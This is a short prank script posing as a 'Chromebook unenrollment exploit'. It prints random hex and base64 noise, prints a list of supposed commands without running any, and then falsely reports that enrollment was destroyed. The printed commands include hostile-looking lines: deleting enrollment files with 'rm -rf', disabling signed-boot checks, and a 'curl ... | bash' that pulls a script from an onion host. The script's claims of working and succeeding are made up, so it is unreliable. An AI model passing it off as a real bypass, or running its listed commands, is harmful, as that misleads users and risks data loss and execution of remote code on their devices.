# bin/bash # LXRD CHROMEBOOK UNENROLLMENT EXPLOIT v1337 # Made by LXRD - Skid King of ChromeOS 2026 # DO NOT RUN ON SCHOOL CHROMEBOOK UNLESS YOU WANT TO GET COOKED import base64 import random import time import os import sys print("[\033[91mLXRD\033[0m] ChromeOS Unenrollment Payload Activated...") time.sleep(1.5) # Massive random garbage + fake base64 payload_core = b""" TFlYUkQgV0FTIEhFUkUgLSBDSE9N RUJPT0sgVU5FTlJPTExFRCAtIDYzMzc= U0tJRCBNT0RFIEFDVElWQVRFRCAtIExYUkQgT1dOUyBZT1U= Q2hyb21lT1MgRGV2IE1vZGUgQnJva2VuIC0gTHhyZCBTdXByZW1hY3k= """ # Random number spam + hex print("Generating entropy storm...") for i in range(25): print(f"0x{random.randint(0x13371337, 0xDEADBEEF):08X} | {random.randint(111111111, 999999999999)} | {base64.b64encode(os.urandom(16)).decode()[:32]}") print("\n[\033[92mLXRD\033[0m] Bypassing Enrollment...") time.sleep(0.8) # Fake unenrollment commands (pure skid energy) commands = [ "rm -rf /home/chronos/.enrollment*", "echo 'LXRD_WAS_HERE' > /dev/null", "crossystem dev_boot_signed_only=0", "echo 1 > /sys/class/chromeos/enrollment_override", "python3 -c 'import os; os.system(\"echo LXRD owns this device\")'", base64.b64decode("c3VkbyBjaHJvbWVvcy1lbnJvbGxtZW50IC0tY2xlYXI=").decode(), "curl -s http://lxrdfree[.]onion/unenroll.sh | bash || echo 'LXRD backup payload active'" ] for cmd in commands: print(f"[+] Executing: {cmd}") time.sleep(0.3) print("\n[\033[91mSUCCESS\033[0m] ChromeOS Enrollment Successfully Destroyed by LXRD") print("Device is now unenrolled. Welcome to freedom skid.") print(f"LXRD Session ID: 0x{random.randint(0xAAAAAAAA, 0xFFFFFFFF):08X}{random.randint(1337,999999)}") # Final wall of gibberish print("\n" + "="*60) print("FINAL PAYLOAD DUMP - LXRD EDITION") print("="*60) for _ in range(15): garbage = ''.join(random.choice("0123456789ABCDEFabcdef") for _ in range(64)) print(f"0x{garbage} | {base64.b64encode(random.randbytes(24)).decode()[:48]}") print("\nLXRD was here. School lost.")```